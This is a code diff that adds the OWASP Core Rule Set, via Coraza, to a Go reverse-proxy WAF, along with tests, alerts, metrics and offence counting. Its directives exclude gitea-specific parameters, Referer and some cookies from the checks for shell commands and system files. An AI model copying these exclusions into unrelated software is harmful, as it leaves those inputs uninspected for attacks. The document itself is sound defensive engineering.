+	got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
+	if got.status != http.StatusOK || string(got.body) != page {
+		t.Errorf("answered %d with %q, want 200 with the app's page", got.status, got.body)
+	}
+
+	wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
+}
+
+func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(t *testing.T) {
+	t.Parallel()
+
+	const scraper = "192.0.2.200"
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		wafMode: block, errorBurstThreshold: "2", metricsToken: token,
+	})
+
+	for range 2 {
+		s.request(client, sqlInjection, http.StatusForbidden, requestlog.ActionWAFBlocked)
+	}
+
+	// The third refusal in a minute breaks the error burst, and bans the
+	// client.
+	line := s.request(client, sqlInjection, http.StatusForbidden,
+		requestlog.ActionWAFBlocked)
+	if line.LimitHit != requestlog.LimitHitErrorBurst ||
+		line.Offence != requestlog.OffenceLimit {
+		t.Errorf("log line has limit_hit %q and offence %q, want error_burst and limit",
+			line.LimitHit, line.Offence)
+	}
+
+	s.get(client, http.StatusForbidden, requestlog.ActionBanned)
+
+	want := ratelimit.Offences{Limit: 1, WAFBlocked: 3}
+	if offences := historyOf(t, server, client).Offences; offences != want {
+		t.Errorf("history counts the offences %+v, want %+v", offences, want)
+	}
+
+	metrics := s.scrape(scraper)
+	wantMetric(t, metrics,
+		`smallwebwaf_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
+	wantMetric(t, metrics,
+		`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`, 3)
+	wantMetric(t, metrics, `smallwebwaf_requests_total{action="waf_blocked",`+
+		`instance="app",status_class="4xx"}`, 3)
+}
+
+func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
+	t.Parallel()
+
+	const scraper = "192.0.2.200"
+
+	s, _, server := startWithClock(t, "", map[string]string{
+		wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
+	})
+
+	for range 3 {
+		s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	}
+
+	s.get(client, http.StatusOK, requestlog.ActionForward)
+
+	offences := historyOf(t, server, client).Offences
+	if offences != (ratelimit.Offences{}) {
+		t.Errorf("history counts the offences %+v, want none", offences)
+	}
+
+	metrics := s.scrape(scraper)
+	wantMetric(t, metrics,
+		`smallwebwaf_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
+	wantNoSeries(t, metrics,
+		`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`)
+}
+
+func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
+	t.Parallel()
+
+	s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
+
+	line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
+	wantWouldAction(t, line, requestlog.ActionWAFBlocked)
+	wantWAF(t, line, new(5), 942100)
+
+	// It is an offence as in enforce mode.
+	want := ratelimit.Offences{WAFBlocked: 1}
+	if offences := historyOf(t, server, client).Offences; offences != want {
+		t.Errorf("history counts the offences %+v, want %+v", offences, want)
+	}
+}
+
+func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) {
+	t.Parallel()
+
+	for _, tc := range []struct {
+		name string
+		env  map[string]string
+		// status and action are what the request is answered and logged
+		// with, and alertMode what the alert's detail gives as mode, if
+		// anything.
+		status            int
+		action, alertMode string
+	}{
+		{
+			"block", map[string]string{wafMode: block},
+			http.StatusForbidden, requestlog.ActionWAFBlocked, "",
+		},
+		{
+			"detect", map[string]string{wafMode: detect},
+			http.StatusOK, requestlog.ActionForward, detect,
+		},
+		{
+			"block in observe mode", map[string]string{wafMode: block, mode: observe},
+			http.StatusOK, requestlog.ActionForward, observe,
+		},
+	} {
+		t.Run(tc.name, func(t *testing.T) {
+			t.Parallel()
+
+			s, clk, _, queue := startWithAlerts(t, tc.env)
+
+			// The second is a repeat, which the cooldown holds back, and an
+			// ordinary request raises none.
+			for range 2 {
+				s.request(client, sqlInjection, tc.status, tc.action)
+			}
+
+			s.get(client, http.StatusOK, requestlog.ActionForward)
+
+			detail := map[string]any{
+				"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
+				"path": sqlInjection,
+			}
+			if tc.alertMode != "" {
+				detail["mode"] = tc.alertMode
+			}
+
+			wantAlerts(t, queue, alerts.Alert{
+				Instance: alertInstance,
+				Time:     clk.Now(),
+				Event:    alerts.EventWAFBlock,
+				Client:   netip.MustParseAddr(client),
+				Netblock: netip.MustParsePrefix(client + "/32"),
+				Reason:   "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
+				Detail:   detail,
+			})
+
+			if queue.Suppressed() != 1 {
+				t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
+			}
+		})
+	}
+}

internal/proxy/errorburst_test.go

@@ -248,8 +248,6 @@ func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
 func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
 	t.Parallel()
 
-	const off = "off"
-
 	for _, tc := range []struct {
 		threshold string
 		// broken is whether the 31st refusal breaks the error burst.

internal/proxy/proxy.go

@@ -21,6 +21,7 @@ import (
 	"sneak.berlin/go/smallwebwaf/internal/reputation"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/rules"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 
 // How smallwebwaf keeps connections to the app open between requests.
@@ -75,9 +76,10 @@ type Params struct {
 	// Alerts receive the alert for each ban the proxy makes or makes
 	// permanent, for each count over an anomaly threshold, for each request
 	// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
-	// AbuseIPDB lists, and for GeoJS failing, a fetch of a list failing, a
-	// query to a DNSBL zone or a check with AbuseIPDB failing, or the day's
-	// AbuseIPDB checks used up.
+	// AbuseIPDB lists, for each request the Core Rule Set scores at or over
+	// SWWAF_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
+	// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
+	// or the day's AbuseIPDB checks used up.
 	Alerts *alerts.Queue
 }
 
@@ -144,12 +146,13 @@ func New(params Params) *Server {
 			NamedNetblocks: params.Config.WatchNets,
 			Alerts:         params.Alerts,
 		}),
-		lookupFile: params.LookupFile,
-		lists:      lists,
-		dnsbl:      dnsbl,
-		abuseIPDB:  abuseIPDB,
-		rules:      params.Rules,
-		alerts:     params.Alerts,
+		lookupFile:  params.LookupFile,
+		lists:       lists,
+		dnsbl:       dnsbl,
+		abuseIPDB:   abuseIPDB,
+		rules:       params.Rules,
+		coreRuleSet: newCoreRuleSet(params.Config),
+		alerts:      params.Alerts,
 	}
 	h.geojs = lookup.New(lookup.Params{
 		URL:     params.GeoJSURL,
@@ -228,26 +231,48 @@ func newReputation(
 	return lists, dnsbl, abuseIPDB
 }
 
+// newCoreRuleSet returns the Core Rule Set at SWWAF_WAF_PARANOIA_LEVEL,
+// without the rules SWWAF_WAF_DISABLED_RULES switches off, or nil while
+// SWWAF_WAF_MODE is off.
+func newCoreRuleSet(cfg *config.Config) *waf.CoreRuleSet {
+	if cfg.WAFMode == config.WAFModeOff {
+		return nil
+	}
+
+	coreRuleSet, err := waf.New(waf.Params{
+		ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
+	})
+	if err != nil {
+		// The Core Rule Set is built in, and the settings cannot break it:
+		// the paranoia level is from 1 to 4, and the id of no rule switches
+		// nothing off.
+		panic(err)
+	}
+
+	return coreRuleSet
+}
+
 // handler is the proxy. It holds what every request shares; what belongs
 // to one request is in a request.
 type handler struct {
-	config     *config.Config
-	requestLog io.Writer
-	processLog *slog.Logger
-	errorLog   *log.Logger
-	transport  http.RoundTripper
-	now        func() time.Time
-	metrics    *metrics.Metrics
-	limiter    *ratelimit.Limiter
-	ledger     *bans.Ledger
-	geojs      *lookup.GeoJS
-	anomalies  *anomaly.Counters
-	lookupFile *lookup.File
-	lists      *reputation.Lists
-	dnsbl      *reputation.DNSBL
-	abuseIPDB  *reputation.AbuseIPDB
-	rules      *rules.Files
-	alerts     *alerts.Queue
+	config      *config.Config
+	requestLog  io.Writer
+	processLog  *slog.Logger
+	errorLog    *log.Logger
+	transport   http.RoundTripper
+	now         func() time.Time
+	metrics     *metrics.Metrics
+	limiter     *ratelimit.Limiter
+	ledger      *bans.Ledger
+	geojs       *lookup.GeoJS
+	anomalies   *anomaly.Counters
+	lookupFile  *lookup.File
+	lists       *reputation.Lists
+	dnsbl       *reputation.DNSBL
+	abuseIPDB   *reputation.AbuseIPDB
+	rules       *rules.Files
+	coreRuleSet *waf.CoreRuleSet
+	alerts      *alerts.Queue
 }
 
 // newTransport returns what carries requests to the app. It never goes

internal/proxy/proxy_test.go

@@ -85,8 +85,12 @@ const (
 	logRequestHeaders       = "SWWAF_LOG_REQUEST_HEADERS"
 	attackBanDuration       = "SWWAF_ATTACK_BAN_DURATION"
 	rulesDir                = "SWWAF_RULES_DIR"
+	wafMode                 = "SWWAF_WAF_MODE"
 )
 
+// off is the value that switches a setting off.
+const off = "off"
+
 // output collects what smallwebwaf writes on stdout.
 type output struct {
 	mu  sync.Mutex
@@ -271,7 +275,9 @@ func startProxyWithAlerts(
 // is no stand-in for GeoJS to look clients up at, and SWWAF_LOOKUP_SOURCE
 // is off unless env sets it. While it is file, the lookup database
 // SWWAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
-// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY.
+// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY. SWWAF_WAF_MODE is off
+// unless env sets it, so that only the tests of the Core Rule Set have
+// their requests inspected by it.
 func newProxy(
 	t *testing.T, appURL, geojsURL string, now func() time.Time,
 	env map[string]string,
@@ -280,9 +286,10 @@ func newProxy(
 
 	settings := map[string]string{
 		"SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir(), instanceName: "app",
+		wafMode: off,
 	}
 	if geojsURL == "" {
-		settings[lookupSource] = "off"
+		settings[lookupSource] = off
 	}
 
 	maps.Copy(settings, env)

internal/proxy/reputation_test.go

@@ -725,6 +725,10 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test
 			"a block rule", blockedPath, http.StatusForbidden, requestlog.ActionRuleBlocked,
 			ratelimit.Offences{RuleBlocked: 1},
 		},
+		{
+			"the Core Rule Set", sqlInjection, http.StatusForbidden,
+			requestlog.ActionWAFBlocked, ratelimit.Offences{WAFBlocked: 1},
+		},
 		{
 			"a ban rule", probePath, http.StatusForbidden, requestlog.ActionBanned,
 			ratelimit.Offences{Attack: 1},
@@ -744,7 +748,7 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test
 			s, clk, server := startWithClock(t, "", map[string]string{
 				abuseIPDBKey: accountKey, reputationAction: actionLog,
 				rulesDir: writeRules(t, testRules), attackBanDuration: "1h",
-				trapPaths: trapPathList, metricsToken: token,
+				trapPaths: trapPathList, metricsToken: token, wafMode: block,
 			})
 
 			s.request(client, tc.path, tc.status, tc.action)

internal/proxy/request.go

@@ -65,10 +65,10 @@ type request struct {
 	counted                    bool
 	limitPercent, bytesPercent percentage
 	// attack is true for a request that matched a ban rule or asked for a
-	// trap path, ruleBlocked for one a block rule refused, and
-	// tokenRefused for one refused for a missing or wrong token, each an
-	// offence its client's history counts.
-	attack, ruleBlocked, tokenRefused bool
+	// trap path, ruleBlocked for one a block rule refused, wafBlocked for
+	// one the Core Rule Set refused, and tokenRefused for one refused for a
+	// missing or wrong token, each an offence its client's history counts.
+	attack, ruleBlocked, wafBlocked, tokenRefused bool
 	// blocklisted is true once a blocklist is found to list the client,
 	// dnsblListed once a DNSBL zone's verdict is, and abuseIPDBHit once
 	// AbuseIPDB's score of it is a hit.
@@ -190,11 +190,11 @@ func requestHeaders(r *http.Request, names []string) map[string]string {
 // check is the one place where a request can be refused once its client
 // is known, before its body is read or anything reaches the app. It
 // returns nil to let the request through. The checks of checkClient come
-// first, answered with SWWAF_BAN_RESPONSE, or 403 for a block rule, and
-// then the size limit, so that a request the rate limits count is counted
-// even when it is refused for its size. In observe mode a request
-// checkClient refuses goes on to the size limit like any other. ctx is
-// the request's own context.
+// first, answered with SWWAF_BAN_RESPONSE, or 403 for a block rule or the
+// Core Rule Set, and then the size limit, so that a request the rate
+// limits count is counted even when it is refused for its size. In
+// observe mode a request checkClient refuses goes on to the size limit
+// like any other. ctx is the request's own context.
 func (rq *request) check(ctx context.Context) *refusal {
 	action := rq.checkClient(ctx)
 
@@ -203,7 +203,7 @@ func (rq *request) check(ctx context.Context) *refusal {
 	case rq.h.config.Observe:
 		// The log line names what enforce mode would have done.
 		rq.line.WouldAction = action
-	case action == requestlog.ActionRuleBlocked:
+	case action == requestlog.ActionRuleBlocked || action == requestlog.ActionWAFBlocked:
 		return &refusal{status: http.StatusForbidden, action: action}
 	default:
 		return rq.banResponse(action)
@@ -233,9 +233,9 @@ func (rq *request) check(ctx context.Context) *refusal {
 // rate limits, unless the client is in SWWAF_RATE_LIMIT_EXEMPT_NETS or the
 // request's path is exempt under SWWAF_RATE_LIMIT_EXEMPT_PATHS, so that
 // every other request is counted, each of them by the client's limit
-// percentages, then SWWAF_TRAP_PATHS, and last the rule files. A request
-// exempt from the rate limits is exempt from the byte limits too. ctx is
-// the request's own context.
+// percentages, then SWWAF_TRAP_PATHS, then the rule files, and last the
+// Core Rule Set. A request exempt from the rate limits is exempt from the
+// byte limits too. ctx is the request's own context.
 func (rq *request) checkClient(ctx context.Context) string {
 	cfg := rq.h.config
 	if isInside(rq.client, cfg.AllowNets) {
@@ -286,15 +286,20 @@ func (rq *request) checkClient(ctx context.Context) string {
 		return requestlog.ActionBanned
 	}
 
-	return rq.checkRules(now)
+	action := rq.checkRules(now)
+	if action != "" {
+		return action
+	}
+
+	return rq.checkCoreRuleSet()
 }
 
-// pathExempt reports whether the rate limits leave out a request for u
-// because of SWWAF_RATE_LIMIT_EXEMPT_PATHS: whether its path as sent, the
-// path the app receives, not percent-decoded, starts with one of
-// prefixes, so that /%61ssets/x is not under /assets/ for an app whose
-// router matches the path as received. A request whose decoded path
-// contains .. anywhere or a backslash, or whose path as sent holds an
+// pathExempt reports whether a request for u is exempt under prefixes,
+// SWWAF_RATE_LIMIT_EXEMPT_PATHS or SWWAF_WAF_EXEMPT_PATHS: whether its
+// path as sent, the path the app receives, not percent-decoded, starts
+// with one of prefixes, so that /%61ssets/x is not under /assets/ for an
+// app whose router matches the path as received. A request whose decoded
+// path contains .. anywhere or a backslash, or whose path as sent holds an
 // encoded slash (%2F or %2f), never is, since an app may act on it as a
 // path outside every prefix: /assets/..%2Flogin as /login, or /assets%2Fx
 // as one path segment, as Go's router does.
@@ -562,6 +567,7 @@ func (rq *request) addToHistory() {
 		BrokeLimit:    rq.line.Offence == requestlog.OffenceLimit,
 		Attack:        rq.attack,
 		RuleBlocked:   rq.ruleBlocked,
+		WAFBlocked:    rq.wafBlocked,
 		TokenRefused:  rq.tokenRefused,
 	}
 

internal/ratelimit/ratelimit.go

@@ -124,11 +124,12 @@ type Offences struct {
 	// Limit is its requests that broke a rate limit, a byte limit or the
 	// error burst, Attack those that were a clear sign of attack, a match
 	// of a ban rule or a request for a trap path, RuleBlocked those a block
-	// rule refused, and TokenRefused those refused for a missing or wrong
-	// token.
+	// rule refused, WAFBlocked those the Core Rule Set refused, and
+	// TokenRefused those refused for a missing or wrong token.
 	Limit        int64 `json:"limit"`
 	Attack       int64 `json:"attack"`
 	RuleBlocked  int64 `json:"rule_blocked"`
+	WAFBlocked   int64 `json:"waf_blocked"`
 	TokenRefused int64 `json:"token_refused"`
 }
 
@@ -148,11 +149,13 @@ type Request struct {
 	ResponseBytes int64
 	// BrokeLimit is true for a request that broke a rate limit, a byte
 	// limit or the error burst, Attack for one that matched a ban rule or
-	// asked for a trap path, RuleBlocked for one a block rule refused, and
-	// TokenRefused for one refused for a missing or wrong token.
+	// asked for a trap path, RuleBlocked for one a block rule refused,
+	// WAFBlocked for one the Core Rule Set refused, and TokenRefused for
+	// one refused for a missing or wrong token.
 	BrokeLimit   bool
 	Attack       bool
 	RuleBlocked  bool
+	WAFBlocked   bool
 	TokenRefused bool
 }
 
@@ -236,10 +239,10 @@ func (l *Limiter) CountBytes(
 }
 
 // CountRefusal counts a request from client at now that smallwebwaf
-// refused after a rule file match or for a missing or wrong token, and
-// reports whether the client's refusals in the minute that ends at now,
-// this one included, are more than threshold, which breaks the error
-// burst, and the hit.
+// refused after a rule file or Core Rule Set match or for a missing or
+// wrong token, and reports whether the client's refusals in the minute
+// that ends at now, this one included, are more than threshold, which
+// breaks the error burst, and the hit.
 func (l *Limiter) CountRefusal(
 	client netip.Prefix, now time.Time, threshold int64,
 ) (Hit, bool) {
@@ -304,6 +307,10 @@ func (l *Limiter) AddToHistory(client netip.Prefix, now time.Time, r Request) {
 		h.Offences.RuleBlocked++
 	}
 
+	if r.WAFBlocked {
+		h.Offences.WAFBlocked++
+	}
+
 	if r.TokenRefused {
 		h.Offences.TokenRefused++
 	}

internal/requestlog/requestlog.go

@@ -36,6 +36,9 @@ const (
 	// ActionRuleBlocked is a request refused because it matched a block
 	// rule.
 	ActionRuleBlocked = "rule_blocked"
+	// ActionWAFBlocked is a request refused because the Core Rule Set
+	// scored it at or over SWWAF_WAF_ANOMALY_THRESHOLD.
+	ActionWAFBlocked = "waf_blocked"
 	// ActionDenied is a request refused because its client is in
 	// SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny,
 	// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
@@ -123,8 +126,8 @@ type Line struct {
 	Action string `json:"action"`
 	// WouldAction is, in observe mode, the action enforce mode would have
 	// taken with a request it would have refused: ActionDenied,
-	// ActionBanned, ActionCountryDenied, ActionRateLimited or
-	// ActionRuleBlocked.
+	// ActionBanned, ActionCountryDenied, ActionRateLimited,
+	// ActionRuleBlocked or ActionWAFBlocked.
 	WouldAction string `json:"would_action,omitempty"`
 	// LimitPercent and LimitPercentSetting are, for a request the rate
 	// limits counted whose client a biased threshold gives a percentage of
@@ -142,6 +145,11 @@ type Line struct {
 	Counts ratelimit.Counts `json:"counts,omitzero"`
 	// RuleIDs are the ids of the rule file rules the request matched.
 	RuleIDs []string `json:"rule_ids,omitempty"`
+	// WAFRuleIDs are the ids of the Core Rule Set's rules the request
+	// matched, and WAFScore its anomaly score, nil for a request the Core
+	// Rule Set did not inspect.
+	WAFRuleIDs []int `json:"waf_rule_ids,omitempty"`
+	WAFScore   *int  `json:"waf_score,omitempty"`
 	// LimitHit is the window whose limit the request went over, named as
 	// Counts names its count: minute, hour or day for a rate limit, and
 	// minute_bytes, hour_bytes or day_bytes for a byte limit; or
@@ -159,13 +167,15 @@ type Line struct {
 	BanExpires string `json:"ban_expires,omitempty"`
 
 	// The timings, in milliseconds. DurationChecks is the time until the
-	// checks were done. DurationUpstreamConnect, DurationUpstreamFirstByte
-	// and DurationUpstreamTotal run from when the request was handed to the
+	// checks were done, and DurationWAF the part of it the Core Rule Set
+	// took. DurationUpstreamConnect, DurationUpstreamFirstByte and
+	// DurationUpstreamTotal run from when the request was handed to the
 	// app: until there was a connection to it, until the first byte of its
 	// answer arrived, and until the end. Each but DurationTotal is nil for
 	// a request that did not get that far.
 	DurationTotal             float64  `json:"duration_total"`
 	DurationChecks            *float64 `json:"duration_checks,omitempty"`
+	DurationWAF               *float64 `json:"duration_waf,omitempty"`
 	DurationUpstreamConnect   *float64 `json:"duration_upstream_connect,omitempty"`
 	DurationUpstreamFirstByte *float64 `json:"duration_upstream_first_byte,omitempty"`
 	DurationUpstreamTotal     *float64 `json:"duration_upstream_total,omitempty"`

internal/waf/waf.go

@@ -0,0 +1,228 @@
+// Package waf runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
+// method, the URL with its query and the headers of a request, with the
+// six changes smallwebwaf makes to it, as "Attack detection" under
+// "Configuration surface" in SPEC.md describes them. It reads no request
+// body and no response.
+package waf
+
+import (
+	"fmt"
+	"net/http"
+	"net/netip"
+	"slices"
+	"strconv"
+	"strings"
+
+	coreruleset "github.com/corazawaf/coraza-coreruleset/v4"
+	"github.com/corazawaf/coraza/v3"
+	"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
+	"github.com/corazawaf/coraza/v3/types"
+)
+
+// directives are the Core Rule Set as smallwebwaf runs it, with the
+// paranoia level for %d. Each rule smallwebwaf adds has an id from 900000
+// to 900999, the ids the Core Rule Set keeps for the rules that set it
+// up, which SWWAF_WAF_DISABLED_RULES refuses, so that no setting switches
+// one off. Coraza joins a line ending in \ to the next, without the spaces
+// at the start of the next.
+const directives = `
+# The engine only detects. smallwebwaf compares the request's anomaly
+# score with SWWAF_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
+# alike. It reads no body.
+SecRuleEngine DetectionOnly
+SecRequestBodyAccess Off
+SecResponseBodyAccess Off
+
+Include @crs-setup.conf.example
+
+SecAction "id:900000,phase:1,pass,nolog,\
+    setvar:tx.blocking_paranoia_level=%d"
+
+# The first change: PUT, PATCH and DELETE are allowed besides GET, HEAD,
+# POST and OPTIONS.
+SecAction "id:900200,phase:1,pass,nolog,\
+    setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE'"
+
+# The second: Expect and Content-Encoding are taken off the Core Rule Set's
+# list of the headers it refuses. Content-Encoding stays refused on a body
+# the Core Rule Set reads, and it reads none.
+SecAction "id:900250,phase:1,pass,nolog,\
+    setvar:'tx.restricted_headers_basic=/proxy/ /lock-token/ /content-range/ \
+    /if/ /x-http-method-override/ /x-http-method/ /x-method-override/ \
+    /x-middleware-subrequest/'"
+
+# The sixth: only the rules for requests are loaded, and no response is
+# inspected.
+Include @owasp_crs/REQUEST-*.conf
+
+# The third: redirect_uri is not checked for a URL naming an IP address or
+# localhost. Coraza matches a parameter name here, and in the fourth,
+# without regard to case.
+SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
+SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
+
+# The fourth: the query parameters in which gitea sends names within a
+# repository or its own records, or a page of its own site, are not
+# checked against the lists of system files, shell paths and command
+# names. Coraza takes one rule id per directive.
+SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
+    !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
+    !ARGS:artifactName|!ARGS:redirect_to"
+SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
+    !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
+    !ARGS:artifactName|!ARGS:redirect_to"
+SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
+    !ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
+    !ARGS:artifactName|!ARGS:redirect_to"
+
+# The fifth, for Referer: it is not checked for a Unix command without
+# arguments, or for Java starting a process. The cookies are left out in
+# Inspect.
+SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
+SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
+
+# Coraza keeps the first 1000 query parameters of a request and drops the
+# rest, which no rule then reads, so a request with more adds 5 to the
+# score, as a rule the Core Rule Set rates critical does. Coraza's
+# recommended configuration refuses such a request in its rule 200004.
+# This rule comes after the Core Rule Set's, which set the score to 0 in
+# the same phase.
+SecArgumentsLimit 1000
+SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:1,pass,\
+    severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
+`
+
+// cookiesNotRead are the cookies the Core Rule Set reads a request
+// without, the rest of the fifth change.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
+
+// Params are what New needs.
+type Params struct {
+	// ParanoiaLevel is SWWAF_WAF_PARANOIA_LEVEL, from 1 to 4.
+	ParanoiaLevel int
+	// DisabledRules are the ids of the rules switched off
+	// (SWWAF_WAF_DISABLED_RULES).
+	DisabledRules []int
+}
+
+// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
+// for concurrent use.
+type CoreRuleSet struct {
+	waf coraza.WAF
+}
+
+// New returns the Core Rule Set with the six changes, at params'
+// paranoia level and without the rules it switches off.
+func New(params Params) (*CoreRuleSet, error) {
+	text := fmt.Sprintf(directives, params.ParanoiaLevel)
+
+	if len(params.DisabledRules) > 0 {
+		ids := make([]string, len(params.DisabledRules))
+		for i, id := range params.DisabledRules {
+			ids[i] = strconv.Itoa(id)
+		}
+
+		text += "SecRuleRemoveById " + strings.Join(ids, " ") + "\n"
+	}
+
+	waf, err := coraza.NewWAF(coraza.NewWAFConfig().
+		WithRootFS(coreruleset.FS).
+		WithDirectives(text))
+	if err != nil {
+		return nil, fmt.Errorf("load the Core Rule Set: %w", err)
+	}
+
+	return &CoreRuleSet{waf: waf}, nil
+}
+
+// Result is what the Core Rule Set found in a request.
+type Result struct {
+	// RuleIDs are the ids of the rules that matched, in the order they
+	// ran.
+	RuleIDs []int
+	// Score is the request's anomaly score: what those rules add up to.
+	Score int
+}
+
+// Inspect runs the Core Rule Set on r, a request from client: on its
+// method, its URL with the query, and its headers, the Cookie header
+// without the cookies in cookiesNotRead.
+func (c *CoreRuleSet) Inspect(r *http.Request, client netip.Addr) Result {
+	tx := c.waf.NewTransaction()
+	// With no body read, there is nothing whose closing can fail.
+	defer func() { _ = tx.Close() }()
+
+	tx.ProcessConnection(client.String(), 0, "", 0)
+	tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
+
+	for name, values := range r.Header {
+		for _, value := range values {
+			if name == "Cookie" {
+				value = withoutCookiesNotRead(value)
+				if value == "" {
+					continue // it held those cookies alone
+				}
+			}
+
+			tx.AddRequestHeader(name, value)
+		}
+	}
+
+	// Go's server takes these two out of the headers.
+	tx.AddRequestHeader("Host", r.Host)
+
+	for _, encoding := range r.TransferEncoding {
+		tx.AddRequestHeader("Transfer-Encoding", encoding)
+	}
+
+	tx.ProcessRequestHeaders()
+	// With no body read, this runs the rest of the rules, and cannot fail.
+	_, _ = tx.ProcessRequestBody()
+
+	var ids []int
+
+	for _, matched := range tx.MatchedRules() {
+		// The rules that look for attacks have a severity; the others set
+		// the Core Rule Set up and add up the score.
+		rule := matched.Rule()
+		if rule.Severity() != types.RuleSeverityUnset {
+			ids = append(ids, rule.ID())
+		}
+	}
+
+	return Result{RuleIDs: ids, Score: score(tx)}
+}
+
+// score returns the anomaly score the Core Rule Set added up in tx, a
+// transaction it has run, or 0 if a rule that adds it up is switched off.
+func score(tx types.Transaction) int {
+	// The score is in a variable of the transaction, which only Coraza's
+	// interface for plugins reads.
+	state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
+
+	values := state.Variables().TX().Get("blocking_inbound_anomaly_score")
+	if len(values) == 0 {
+		return 0
+	}
+
+	n, _ := strconv.Atoi(values[0])
+
+	return n
+}
+
+// withoutCookiesNotRead returns value, a Cookie header's, without the
+// cookies in cookiesNotRead.
+func withoutCookiesNotRead(value string) string {
+	var kept []string
+
+	for cookie := range strings.SplitSeq(value, ";") {
+		name, _, _ := strings.Cut(strings.TrimSpace(cookie), "=")
+		if !slices.Contains(cookiesNotRead, name) {
+			kept = append(kept, cookie)
+		}
+	}
+
+	return strings.Join(kept, ";")
+}

internal/waf/waf_test.go

@@ -0,0 +1,322 @@
+package waf_test
+
+import (
+	"net/http"
+	"net/http/httptest"
+	"net/netip"
+	"reflect"
+	"strings"
+	"testing"
+
+	"sneak.berlin/go/smallwebwaf/internal/waf"
+)
+
+// defaultDisabledRules are the rules SWWAF_WAF_DISABLED_RULES switches off
+// by default.
+//
+//nolint:gochecknoglobals // a constant cannot be a list
+var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
+
+// newCoreRuleSet returns the Core Rule Set at paranoia level level, with
+// the rules in disabled switched off.
+func newCoreRuleSet(t *testing.T, level int, disabled ...int) *waf.CoreRuleSet {
+	t.Helper()
+
+	crs, err := waf.New(waf.Params{ParanoiaLevel: level, DisabledRules: disabled})
+	if err != nil {
+		t.Fatalf("load the Core Rule Set: %v", err)
+	}
+
+	return crs
+}
+
+// request is a request a test inspects: its method, its target, the path
+// and the query as a client sends them, and its headers, each written
+// "Name: value".
+type request struct {
+	method, target string
+	headers        []string
+}
+
+// get is a GET request for target with headers.
+func get(target string, headers ...string) request {
+	return request{http.MethodGet, target, headers}
+}
+
+// inspect returns what crs finds in r, sent to git.example by a browser,
+// whose Host, User-Agent and Accept r.headers may replace.
+func inspect(t *testing.T, crs *waf.CoreRuleSet, r request) waf.Result {
+	t.Helper()
+
+	req := httptest.NewRequestWithContext(t.Context(), r.method,
+		"http://git.example"+r.target, http.NoBody)
+	req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
+		"Gecko/20100101 Firefox/131.0")
+	req.Header.Set("Accept", "text/html")
+
+	for _, header := range r.headers {
+		// Go's server keeps Host and Transfer-Encoding out of the headers.
+		name, value, _ := strings.Cut(header, ": ")
+		switch name {
+		case "Host":
+			req.Host = value
+		case "Transfer-Encoding":
+			req.TransferEncoding = []string{value}
+		default:
+			req.Header.Set(name, value)
+		}
+	}
+
+	return crs.Inspect(req, netip.MustParseAddr("203.0.113.9"))
+}
+
+// wantResult checks what crs finds in r.
